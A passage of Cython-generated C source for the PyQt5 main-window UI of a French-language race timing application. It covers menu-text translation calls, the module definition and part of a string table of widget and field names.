__PYX_ERR(0, 1104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1105 * self.actionOuvrire.setText(_translate("MainWindow", "&Ouvrire")) * self.actionEnregister.setText(_translate("MainWindow", "&Enregister")) * self.actionEnregistrer_Sous.setText(_translate("MainWindow", "Enregistrer &Sous")) # <<<<<<<<<<<<<< * */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_actionEnregistrer_Sous); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1105, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1105, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__702, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1105, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1105, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1105, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1105, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1105, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1105, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1005 * QtCore.QMetaObject.connectSlotsByName(MainWindow) * * def retranslateUi(self, MainWindow): # <<<<<<<<<<<<<< * _translate = QtCore.QCoreApplication.translate * MainWindow.setWindowTitle(_translate("MainWindow", "RaceChrono (c) <NAME> 2018")) */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_7); __Pyx_AddTraceback("Ui_MainWindow.Ui_MainWindow.retranslateUi", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v__translate); __Pyx_XDECREF(__pyx_v___sortingEnabled); __Pyx_XDECREF(__pyx_v_item); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyMethodDef __pyx_methods[] = { {0, 0, 0, 0} }; #if PY_MAJOR_VERSION >= 3 static struct PyModuleDef __pyx_moduledef = { #if PY_VERSION_HEX < 0x03020000 { PyObject_HEAD_INIT(NULL) NULL, 0, NULL }, #else PyModuleDef_HEAD_INIT, #endif "Ui_MainWindow", 0, /* m_doc */ -1, /* m_size */ __pyx_methods /* m_methods */, NULL, /* m_reload */ NULL, /* m_traverse */ NULL, /* m_clear */ NULL /* m_free */ }; #endif static __Pyx_StringTabEntry __pyx_string_tab[] = { {&__pyx_kp_u_00000, __pyx_k_00000, sizeof(__pyx_k_00000), 0, 1, 0, 0}, {&__pyx_kp_u_0000000000, __pyx_k_0000000000, sizeof(__pyx_k_0000000000), 0, 1, 0, 0}, {&__pyx_n_s_AdjustToContents, __pyx_k_AdjustToContents, sizeof(__pyx_k_AdjustToContents), 0, 0, 1, 1}, {&__pyx_n_s_AdjustToContentsOnFirstShow, __pyx_k_AdjustToContentsOnFirstShow, sizeof(__pyx_k_AdjustToContentsOnFirstShow), 0, 0, 1, 1}, {&__pyx_n_u_Adresse, __pyx_k_Adresse, sizeof(__pyx_k_Adresse), 0, 1, 0, 1}, {&__pyx_n_u_Ajouter, __pyx_k_Ajouter, sizeof(__pyx_k_Ajouter), 0, 1, 0, 1}, {&__pyx_n_s_AlignCenter, __pyx_k_AlignCenter, sizeof(__pyx_k_AlignCenter), 0, 0, 1, 1}, {&__pyx_n_s_AlignTrailing, __pyx_k_AlignTrailing, sizeof(__pyx_k_AlignTrailing), 0, 0, 1, 1}, {&__pyx_n_s_AlignVCenter, __pyx_k_AlignVCenter, sizeof(__pyx_k_AlignVCenter), 0, 0, 1, 1}, {&__pyx_n_s_ArrowCursor, __pyx_k_ArrowCursor, sizeof(__pyx_k_ArrowCursor), 0, 0, 1, 1}, {&__pyx_n_s_B_Define, __pyx_k_B_Define, sizeof(__pyx_k_B_Define), 0, 0, 1, 1}, {&__pyx_n_u_B_Define, __pyx_k_B_Define, sizeof(__pyx_k_B_Define), 0, 1, 0, 1}, {&__pyx_n_s_B_Define_2, __pyx_k_B_Define_2, sizeof(__pyx_k_B_Define_2), 0, 0, 1, 1}, {&__pyx_n_u_B_Define_2, __pyx_k_B_Define_2, sizeof(__pyx_k_B_Define_2), 0, 1, 0, 1}, {&__pyx_n_s_B_Start, __pyx_k_B_Start, sizeof(__pyx_k_B_Start), 0, 0, 1, 1}, {&__pyx_n_u_B_Start, __pyx_k_B_Start, sizeof(__pyx_k_B_Start), 0, 1, 0, 1}, {&__pyx_n_s_B_Start_2, __pyx_k_B_Start_2, sizeof(__pyx_k_B_Start_2), 0, 0, 1, 1}, {&__pyx_n_u_B_Start_2, __pyx_k_B_Start_2, sizeof(__pyx_k_B_Start_2), 0, 1, 0, 1}, {&__pyx_n_s_B_Stop, __pyx_k_B_Stop, sizeof(__pyx_k_B_Stop), 0, 0, 1, 1}, {&__pyx_n_u_B_Stop, __pyx_k_B_Stop, sizeof(__pyx_k_B_Stop), 0, 1, 0, 1}, {&__pyx_n_s_B_Stop_2, __pyx_k_B_Stop_2, sizeof(__pyx_k_B_Stop_2), 0, 0, 1, 1}, {&__pyx_n_u_B_Stop_2, __pyx_k_B_Stop_2, sizeof(__pyx_k_B_Stop_2), 0, 1, 0, 1}, {&__pyx_kp_u_Bitstream_Charter, __pyx_k_Bitstream_Charter, sizeof(__pyx_k_Bitstream_Charter), 0, 1, 0, 0}, {&__pyx_n_u_Cartons, __pyx_k_Cartons, sizeof(__pyx_k_Cartons), 0, 1, 0, 1}, {&__pyx_n_u_Catgorie, __pyx_k_Catgorie, sizeof(__pyx_k_Catgorie), 0, 1, 0, 1}, {&__pyx_n_u_Catgories, __pyx_k_Catgories, sizeof(__pyx_k_Catgories), 0, 1, 0, 1}, {&__pyx_n_s_ClickFocus, __pyx_k_ClickFocus, sizeof(__pyx_k_ClickFocus), 0, 0, 1, 1}, {&__pyx_kp_u_Co_urses, __pyx_k_Co_urses, sizeof(__pyx_k_Co_urses), 0, 1, 0, 0}, {&__pyx_n_u_Concurrents, __pyx_k_Concurrents, sizeof(__pyx_k_Concurrents), 0, 1, 0, 1}, {&__pyx_kp_u_Concurrents_2, __pyx_k_Concurrents_2, sizeof(__pyx_k_Concurrents_2), 0, 1, 0, 0}, {&__pyx_n_s_CopyAction, __pyx_k_CopyAction, sizeof(__pyx_k_CopyAction), 0, 0, 1, 1}, {&__pyx_n_u_Course, __pyx_k_Course, sizeof(__pyx_k_Course), 0, 1, 0, 1}, {&__pyx_n_u_Courses, __pyx_k_Courses, sizeof(__pyx_k_Courses), 0, 1, 0, 1}, {&__pyx_kp_u_Ctrl_Q, __pyx_k_Ctrl_Q, sizeof(__pyx_k_Ctrl_Q), 0, 1, 0, 0}, {&__pyx_kp_u_DOCTYPE_HTML_PUBLIC_W3C_DTD_HTM, __pyx_k_DOCTYPE_HTML_PUBLIC_W3C_DTD_HTM, sizeof(__pyx_k_DOCTYPE_HTML_PUBLIC_W3C_DTD_HTM), 0, 1, 0, 0}, {&__pyx_kp_u_Date_naissance, __pyx_k_Date_naissance, sizeof(__pyx_k_Date_naissance), 0, 1, 0, 0}, {&__pyx_kp_u_Decode_Pos, __pyx_k_Decode_Pos, sizeof(__pyx_k_Decode_Pos), 0, 1, 0, 0}, {&__pyx_kp_u_DejaVu_Sans, __pyx_k_DejaVu_Sans, sizeof(__pyx_k_DejaVu_Sans), 0, 1, 0, 0}, {&__pyx_n_u_Dernier, __pyx_k_Dernier, sizeof(__pyx_k_Dernier), 0, 1, 0, 1}, {&__pyx_n_s_DontWrapRows, __pyx_k_DontWrapRows, sizeof(__pyx_k_DontWrapRows), 0, 0, 1, 1}, {&__pyx_n_u_Dpart, __pyx_k_Dpart, sizeof(__pyx_k_Dpart), 0, 1, 0, 1}, {&__pyx_n_u_Dure, __pyx_k_Dure, sizeof(__pyx_k_Dure), 0, 1, 0, 1}, {&__pyx_kp_u_E_Mail, __pyx_k_E_Mail, sizeof(__pyx_k_E_Mail), 0, 1, 0, 0}, {&__pyx_n_u_Effacer, __pyx_k_Effacer, sizeof(__pyx_k_Effacer), 0, 1, 0, 1}, {&__pyx_kp_u_Enregister, __pyx_k_Enregister, sizeof(__pyx_k_Enregister), 0, 1, 0, 0}, {&__pyx_kp_u_Enregistrer_Sous, __pyx_k_Enregistrer_Sous, sizeof(__pyx_k_Enregistrer_Sous), 0, 1, 0, 0}, {&__pyx_n_s_Expanding, __pyx_k_Expanding, sizeof(__pyx_k_Expanding), 0, 0, 1, 1}, {&__pyx_n_u_Fichier, __pyx_k_Fichier, sizeof(__pyx_k_Fichier), 0, 1, 0, 1}, {&__pyx_n_s_FieldRole, __pyx_k_FieldRole, sizeof(__pyx_k_FieldRole), 0, 0, 1, 1}, {&__pyx_n_s_FieldsStayAtSizeHint, __pyx_k_FieldsStayAtSizeHint, sizeof(__pyx_k_FieldsStayAtSizeHint), 0, 0, 1, 1}, {&__pyx_n_s_Fixed, __pyx_k_Fixed, sizeof(__pyx_k_Fixed), 0, 0, 1, 1}, {&__pyx_n_s_French, __pyx_k_French, sizeof(__pyx_k_French), 0, 0, 1, 1}, {&__pyx_n_s_ImhDate, __pyx_k_ImhDate, sizeof(__pyx_k_ImhDate), 0, 0, 1, 1}, {&__pyx_n_s_ImhDialableCharactersOnly, __pyx_k_ImhDialableCharactersOnly, sizeof(__pyx_k_ImhDialableCharactersOnly), 0, 0, 1, 1}, {&__pyx_n_s_ImhDigitsOnly, __pyx_k_ImhDigitsOnly, sizeof(__pyx_k_ImhDigitsOnly), 0, 0, 1, 1}, {&__pyx_n_s_ImhEmailCharactersOnly, __pyx_k_ImhEmailCharactersOnly, sizeof(__pyx_k_ImhEmailCharactersOnly), 0, 0, 1, 1}, {&__pyx_n_s_ImhFormattedNumbersOnly, __pyx_k_ImhFormattedNumbersOnly, sizeof(__pyx_k_ImhFormattedNumbersOnly), 0, 0, 1, 1}, {&__pyx_n_s_ImhMultiLine, __pyx_k_ImhMultiLine, sizeof(__pyx_k_ImhMultiLine), 0, 0, 1, 1}, {&__pyx_n_s_ImhNone, __pyx_k_ImhNone, sizeof(__pyx_k_ImhNone), 0, 0, 1, 1}, {&__pyx_n_s_ImhPreferLatin, __pyx_k_ImhPreferLatin, sizeof(__pyx_k_ImhPreferLatin), 0, 0, 1, 1}, {&__pyx_n_s_ImhPreferNumbers, __pyx_k_ImhPreferNumbers, sizeof(__pyx_k_ImhPreferNumbers), 0, 0, 1, 1}, {&__pyx_n_s_ItemIsEnabled, __pyx_k_ItemIsEnabled, sizeof(__pyx_k_ItemIsEnabled), 0, 0, 1, 1}, {&__pyx_n_s_ItemIsSelectable, __pyx_k_ItemIsSelectable, sizeof(__pyx_k_ItemIsSelectable), 0, 0, 1, 1}, {&__pyx_n_s_ItemIsUserCheckable, __pyx_k_ItemIsUserCheckable, sizeof(__pyx_k_ItemIsUserCheckable), 0, 0, 1, 1}, {&__pyx_n_s_L_RList, __pyx_k_L_RList, sizeof(__pyx_k_L_RList), 0, 0, 1, 1}, {&__pyx_n_u_L_RList, __pyx_k_L_RList, sizeof(__pyx_k_L_RList), 0, 1, 0, 1}, {&__pyx_n_s_L_racerlist, __pyx_k_L_racerlist, sizeof(__pyx_k_L_racerlist), 0, 0, 1, 1}, {&__pyx_n_u_L_racerlist, __pyx_k_L_racerlist, sizeof(__pyx_k_L_racerlist), 0, 1, 0, 1}, {&__pyx_n_s_LabelRole, __pyx_k_LabelRole, sizeof(__pyx_k_LabelRole), 0, 0, 1, 1}, {&__pyx_n_u_LapTime, __pyx_k_LapTime, sizeof(__pyx_k_LapTime), 0, 1, 0, 1}, {&__pyx_n_u_Laps, __pyx_k_Laps, sizeof(__pyx_k_Laps), 0, 1, 0, 1}, {&__pyx_n_u_Laptime, __pyx_k_Laptime, sizeof(__pyx_k_Laptime), 0, 1, 0, 1}, {&__pyx_kp_u_Licence_s, __pyx_k_Licence_s, sizeof(__pyx_k_Licence_s), 0, 1, 0, 0}, {&__pyx_n_u_Licences, __pyx_k_Licences, sizeof(__pyx_k_Licences), 0, 1, 0, 1}, {&__pyx_n_s_ListMode, __pyx_k_ListMode, sizeof(__pyx_k_ListMode), 0, 0, 1, 1}, {&__pyx_n_u_MX1, __pyx_k_MX1, sizeof(__pyx_k_MX1), 0, 1, 0, 1}, {&__pyx_n_s_MainWindow, __pyx_k_MainWindow, sizeof(__pyx_k_MainWindow), 0, 0, 1, 1}, {&__pyx_n_u_MainWindow, __pyx_k_MainWindow, sizeof(__pyx_k_MainWindow), 0, 1, 0, 1}, {&__pyx_n_u_Marque, __pyx_k_Marque, sizeof(__pyx_k_Marque), 0, 1, 0, 1}, {&__pyx_n_s_Maximum, __pyx_k_Maximum, sizeof(__pyx_k_Maximum), 0, 0, 1, 1}, {&__pyx_n_u_Meilleur, __pyx_k_Meilleur, sizeof(__pyx_k_Meilleur), 0, 1, 0, 1}, {&__pyx_kp_u_Menu_Options, __pyx_k_Menu_Options, sizeof(__pyx_k_Menu_Options), 0, 1, 0, 0}, {&__pyx_n_u_Mini, __pyx_k_Mini, sizeof(__pyx_k_Mini), 0, 1, 0, 1}, {&__pyx_n_s_Minimum, __pyx_k_Minimum, sizeof(__pyx_k_Minimum), 0, 0, 1, 1}, {&__pyx_kp_u_Modeles_Courses, __pyx_k_Modeles_Courses, sizeof(__pyx_k_Modeles_Courses), 0, 1, 0, 0}, {&__pyx_n_u_Moniteur, __pyx_k_Moniteur, sizeof(__pyx_k_Moniteur), 0, 1, 0, 1}, {&__pyx_n_s_MultiSelection, __pyx_k_MultiSelection, sizeof(__pyx_k_MultiSelection), 0, 0, 1, 1}, {&__pyx_n_s_NoButtons, __pyx_k_NoButtons, sizeof(__pyx_k_NoButtons), 0, 0, 1, 1}, {&__pyx_n_s_NoEditTriggers, __pyx_k_NoEditTriggers, sizeof(__pyx_k_NoEditTriggers), 0, 0, 1, 1}, {&__pyx_n_s_NoFrame, __pyx_k_NoFrame, sizeof(__pyx_k_NoFrame), 0, 0, 1, 1}, {&__pyx_n_u_Nom, __pyx_k_Nom, sizeof(__pyx_k_Nom), 0, 1, 0, 1}, {&__pyx_kp_u_Nom_Prnom_Concurrent, __pyx_k_Nom_Prnom_Concurrent, sizeof(__pyx_k_Nom_Prnom_Concurrent), 0, 1, 0, 0}, {&__pyx_kp_u_Nouvelle_Course, __pyx_k_Nouvelle_Course, sizeof(__pyx_k_Nouvelle_Course), 0, 1, 0, 0}, {&__pyx_kp_u_Npa_Localit, __pyx_k_Npa_Localit, sizeof(__pyx_k_Npa_Localit), 0, 1, 0, 0}, {&__pyx_kp_u_Numro, __pyx_k_Numro, sizeof(__pyx_k_Numro), 0, 1, 0, 0}, {&__pyx_n_u_Numro_2, __pyx_k_Numro_2, sizeof(__pyx_k_Numro_2), 0, 1, 0, 1}, {&__pyx_kp_u_Numro_course, __pyx_k_Numro_course, sizeof(__pyx_k_Numro_course), 0, 1, 0, 0}, {&__pyx_kp_u_Ouvrire, __pyx_k_Ouvrire, sizeof(__pyx_k_Ouvrire), 0, 1, 0, 0}, {&__pyx_n_s_PB_TimeRace, __pyx_k_PB_TimeRace, sizeof(__pyx_k_PB_TimeRace), 0, 0, 1, 1}, {&__pyx_n_u_PB_TimeRace, __pyx_k_PB_TimeRace, sizeof(__pyx_k_PB_TimeRace), 0, 1, 0, 1}, {&__pyx_n_s_PB_TimeRace_2, __pyx_k_PB_TimeRace_2, sizeof(__pyx_k_PB_TimeRace_2), 0, 0, 1, 1}, {&__pyx_n_u_PB_TimeRace_2, __pyx_k_PB_TimeRace_2, sizeof(__pyx_k_PB_TimeRace_2), 0, 1, 0, 1}, {&__pyx_n_s_P_Laptime, __pyx_k_P_Laptime, sizeof(__pyx_k_P_Laptime), 0, 0, 1, 1}, {&__pyx_n_u_P_Laptime, __pyx_k_P_Laptime, sizeof(__pyx_k_P_Laptime), 0, 1, 0, 1}, {&__pyx_n_s_P_Race, __pyx_k_P_Race, sizeof(__pyx_k_P_Race), 0, 0, 1, 1}, {&__pyx_n_u_P_Race, __pyx_k_P_Race, sizeof(__pyx_k_P_Race), 0, 1, 0, 1}, {&__pyx_n_u_Participants, __pyx_k_Participants, sizeof(__pyx_k_Participants), 0, 1, 0, 1}, {&__pyx_n_u_Pays, __pyx_k_Pays, sizeof(__pyx_k_Pays), 0, 1, 0, 1}, {&__pyx_kp_u_Priv, __pyx_k_Priv, sizeof(__pyx_k_Priv), 0, 1, 0, 0}, {&__pyx_n_u_Prnom, __pyx_k_Prnom, sizeof(__pyx_k_Prnom), 0, 1, 0, 1}, {&__pyx_n_u_Pro, __pyx_k_Pro, sizeof(__pyx_k_Pro), 0, 1, 0, 1}, {&__pyx_n_s_PyQt5, __pyx_k_PyQt5, sizeof(__pyx_k_PyQt5), 0, 0, 1, 1}, {&__pyx_n_s_QAbstractItemView, __pyx_k_QAbstractItemView, sizeof(__pyx_k_QAbstractItemView), 0, 0, 1, 1}, {&__pyx_n_s_QAbstractScrollArea, __pyx_k_QAbstractScrollArea, sizeof(__pyx_k_QAbstractScrollArea), 0, 0, 1, 1}, {&__pyx_n_s_QAbstractSpinBox, __pyx_k_QAbstractSpinBox, sizeof(__pyx_k_QAbstractSpinBox), 0, 0, 1, 1}, {&__pyx_n_s_QAction, __pyx_k_QAction, sizeof(__pyx_k_QAction), 0, 0, 1, 1}, {&__pyx_n_s_QComboBox, __pyx_k_QComboBox, sizeof(__pyx_k_QComboBox), 0, 0, 1, 1}, {&__pyx_n_s_QCoreApplication, __pyx_k_QCoreApplication, sizeof(__pyx_k_QCoreApplication), 0, 0, 1, 1}, {&__pyx_n_s_QCursor, __pyx_k_QCursor, sizeof(__pyx_k_QCursor), 0, 0, 1, 1}, {&__pyx_n_s_QDate, __pyx_k_QDate, sizeof(__pyx_k_QDate), 0, 0, 1, 1}, {&__pyx_n_s_QDateEdit, __pyx_k_QDateEdit, sizeof(__pyx_k_QDateEdit), 0, 0, 1, 1}, {&__pyx_n_s_QDateTime, __pyx_k_QDateTime, sizeof(__pyx_k_QDateTime), 0, 0, 1, 1}, {&__pyx_n_s_QFont, __pyx_k_QFont, sizeof(__pyx_k_QFont), 0, 0, 1, 1}, {&__pyx_n_s_QFormLayout, __pyx_k_QFormLayout, sizeof(__pyx_k_QFormLayout), 0, 0, 1, 1}, {&__pyx_n_s_QFrame, __pyx_k_QFrame, sizeof(__pyx_k_QFrame), 0, 0, 1, 1}, {&__pyx_n_s_QGridLayout, __pyx_k_QGridLayout, sizeof(__pyx_k_QGridLayout), 0, 0, 1, 1}, {&__pyx_n_s_QHBoxLayout, __pyx_k_QHBoxLayout, sizeof(__pyx_k_QHBoxLayout), 0, 0, 1, 1}, {&__pyx_n_s_QLabel, __pyx_k_QLabel, sizeof(__pyx_k_QLabel), 0, 0, 1, 1}, {&__pyx_n_s_QLayout, __pyx_k_QLayout, sizeof(__pyx_k_QLayout), 0, 0, 1, 1}, {&__pyx_n_s_QLineEdit, __pyx_k_QLineEdit, sizeof(__pyx_k_QLineEdit), 0, 0, 1, 1}, {&__pyx_n_s_QListView, __pyx_k_QListView, sizeof(__pyx_k_QListView), 0, 0, 1, 1}, {&__pyx_n_s_QListWidget, __pyx_k_QListWidget, sizeof(__pyx_k_QListWidget), 0, 0, 1, 1}, {&__pyx_n_s_QLocale, __pyx_k_QLocale, sizeof(__pyx_k_QLocale), 0, 0, 1, 1}, {&__pyx_n_s_QMenu, __pyx_k_QMenu, sizeof(__pyx_k_QMenu), 0, 0, 1, 1}, {&__pyx_n_s_QMenuBar, __pyx_k_QMenuBar, sizeof(__pyx_k_QMenuBar), 0, 0, 1, 1}, {&__pyx_n_s_QMetaObject, __pyx_k_QMetaObject, sizeof(__pyx_k_QMetaObject), 0, 0, 1, 1}, {&__pyx_n_s_QProgressBar, __pyx_k_QProgressBar, sizeof(__pyx_k_QProgressBar), 0, 0, 1, 1}, {&__pyx_n_s_QPushButton, __pyx_k_QPushButton, sizeof(__pyx_k_QPushButton), 0, 0, 1, 1}, {&__pyx_n_s_QRect, __pyx_k_QRect, sizeof(__pyx_k_QRect), 0, 0, 1, 1}, {&__pyx_n_s_QScrollArea, __pyx_k_QScrollArea, sizeof(__pyx_k_QScrollArea), 0, 0, 1, 1}, {&__pyx_n_s_QSize, __pyx_k_QSize, sizeof(__pyx_k_QSize), 0, 0, 1, 1}, {&__pyx_n_s_QSizePolicy, __pyx_k_QSizePolicy, sizeof(__pyx_k_QSizePolicy), 0, 0, 1, 1}, {&__pyx_n_s_QSpacerItem, __pyx_k_QSpacerItem, sizeof(__pyx_k_QSpacerItem), 0, 0, 1, 1}, {&__pyx_n_s_QStatusBar, __pyx_k_QStatusBar, sizeof(__pyx_k_QStatusBar), 0, 0, 1, 1}, {&__pyx_n_s_QTabWidget, __pyx_k_QTabWidget, sizeof(__pyx_k_QTabWidget), 0, 0, 1, 1}, {&__pyx_n_s_QTableWidget, __pyx_k_QTableWidget, sizeof(__pyx_k_QTableWidget), 0, 0, 1, 1}, {&__pyx_n_s_QTableWidgetItem, __pyx_k_QTableWidgetItem, sizeof(__pyx_k_QTableWidgetItem), 0, 0, 1, 1}, {&__pyx_n_s_QTextEdit, __pyx_k_QTextEdit, sizeof(__pyx_k_QTextEdit), 0, 0, 1, 1}, {&__pyx_n_s_QTime, __pyx_k_QTime, sizeof(__pyx_k_QTime), 0, 0, 1, 1}, {&__pyx_n_s_QToolBox, __pyx_k_QToolBox, sizeof(__pyx_k_QToolBox), 0, 0, 1, 1}, {&__pyx_n_s_QToolButton, __pyx_k_QToolButton, sizeof(__pyx_k_QToolButton), 0, 0, 1, 1}, {&__pyx_n_s_QTreeWidget, __pyx_k_QTreeWidget, sizeof(__pyx_k_QTreeWidget), 0, 0, 1, 1}, {&__pyx_n_s_QTreeWidgetItem, __pyx_k_QTreeWidgetItem, sizeof(__pyx_k_QTreeWidgetItem), 0, 0, 1, 1}, {&__pyx_n_s_QVBoxLayout, __pyx_k_QVBoxLayout, sizeof(__pyx_k_QVBoxLayout), 0, 0, 1, 1}, {&__pyx_n_s_QWidget, __pyx_k_QWidget, sizeof(__pyx_k_QWidget), 0, 0, 1, 1}, {&__pyx_n_s_Qt, __pyx_k_Qt, sizeof(__pyx_k_Qt), 0, 0, 1, 1}, {&__pyx_n_s_QtCore, __pyx_k_QtCore, sizeof(__pyx_k_QtCore), 0, 0, 1, 1}, {&__pyx_n_s_QtGui, __pyx_k_QtGui, sizeof(__pyx_k_QtGui), 0, 0, 1, 1}, {&__pyx_n_s_QtWidgets, __pyx_k_QtWidgets, sizeof(__pyx_k_QtWidgets), 0, 0, 1, 1}, {&__pyx_n_s_QuitRole, __pyx_k_QuitRole, sizeof(__pyx_k_QuitRole), 0, 0, 1, 1}, {&__pyx_kp_u_Quit_le_programme, __pyx_k_Quit_le_programme, sizeof(__pyx_k_Quit_le_programme), 0, 1, 0, 0}, {&__pyx_kp_u_Quitter, __pyx_k_Quitter, sizeof(__pyx_k_Quitter), 0, 1, 0, 0}, {&__pyx_n_s_RB_Add, __pyx_k_RB_Add, sizeof(__pyx_k_RB_Add), 0, 0, 1, 1}, {&__pyx_n_u_RB_Add, __pyx_k_RB_Add, sizeof(__pyx_k_RB_Add), 0, 1, 0, 1}, {&__pyx_n_s_RB_Del, __pyx_k_RB_Del, sizeof(__pyx_k_RB_Del), 0, 0, 1, 1}, {&__pyx_n_u_RB_Del, __pyx_k_RB_Del, sizeof(__pyx_k_RB_Del), 0, 1, 0, 1}, {&__pyx_n_s_RR_Categorie, __pyx_k_RR_Categorie, sizeof(__pyx_k_RR_Categorie), 0, 0, 1, 1}, {&__pyx_n_u_RR_Categorie, __pyx_k_RR_Categorie, sizeof(__pyx_k_RR_Categorie), 0, 1, 0, 1}, {&__pyx_n_s_RR_City, __pyx_k_RR_City, sizeof(__pyx_k_RR_City), 0, 0, 1, 1}, {&__pyx_n_u_RR_City, __pyx_k_RR_City, sizeof(__pyx_k_RR_City), 0, 1, 0, 1}, {&__pyx_n_s_RR_Npa, __pyx_k_RR_Npa, sizeof(__pyx_k_RR_Npa), 0, 0, 1, 1}, {&__pyx_n_u_RR_Npa, __pyx_k_RR_Npa, sizeof(__pyx_k_RR_Npa), 0, 1, 0, 1}, {&__pyx_n_s_RR_Pays, __pyx_k_RR_Pays, sizeof(__pyx_k_RR_Pays), 0, 0, 1, 1}, {&__pyx_n_u_RR_Pays, __pyx_k_RR_Pays, sizeof(__pyx_k_RR_Pays), 0, 1, 0, 1}, {&__pyx_n_s_RR_date, __pyx_k_RR_date, sizeof(__pyx_k_RR_date), 0, 0, 1, 1}, {&__pyx_n_u_RR_date, __pyx_k_RR_date, sizeof(__pyx_k_RR_date), 0, 1, 0, 1}, {&__pyx_n_s_RR_findNumber, __pyx_k_RR_findNumber, sizeof(__pyx_k_RR_findNumber), 0, 0, 1, 1}, {&__pyx_n_u_RR_findNumber, __pyx_k_RR_findNumber, sizeof(__pyx_k_RR_findNumber), 0, 1, 0, 1}, {&__pyx_n_s_RR_firstname, __pyx_k_RR_firstname, sizeof(__pyx_k_RR_firstname), 0, 0, 1, 1}, {&__pyx_n_u_RR_firstname, __pyx_k_RR_firstname, sizeof(__pyx_k_RR_firstname), 0, 1, 0, 1}, {&__pyx_n_s_RR_lastname, __pyx_k_RR_lastname, sizeof(__pyx_k_RR_lastname), 0, 0, 1, 1}, {&__pyx_n_u_RR_lastname, __pyx_k_RR_lastname, sizeof(__pyx_k_RR_lastname), 0, 1, 0, 1}, {&__pyx_n_s_RR_licences, __pyx_k_RR_licences, sizeof(__pyx_k_RR_licences), 0, 0, 1, 1}, {&__pyx_n_u_RR_licences, __pyx_k_RR_licences, sizeof(__pyx_k_RR_licences), 0, 1, 0, 1}, {&__pyx_n_s_RR_number, __pyx_k_RR_number, sizeof(__pyx_k_RR_number), 0, 0, 1, 1}, {&__pyx_n_u_RR_number, __pyx_k_RR_number, sizeof(__pyx_k_RR_number), 0, 1, 0, 1}, {&__pyx_n_s_RR_transponder, __pyx_k_RR_transponder, sizeof(__pyx_k_RR_transponder), 0, 0, 1, 1}, {&__pyx_n_u_RR_transponder, __pyx_k_RR_transponder, sizeof(__pyx_k_RR_transponder), 0, 1, 0, 1}, {&__pyx_n_u_R_Address, __pyx_k_R_Address, sizeof(__pyx_k_R_Address), 0, 1, 0, 1}, {&__pyx_n_s_R_City, __pyx_k_R_City, sizeof(__pyx_k_R_City), 0, 0, 1, 1}, {&__pyx_n_u_R_City, __pyx_k_R_City, sizeof(__pyx_k_R_City), 0, 1, 0, 1}, {&__pyx_n_s_R_EMail, 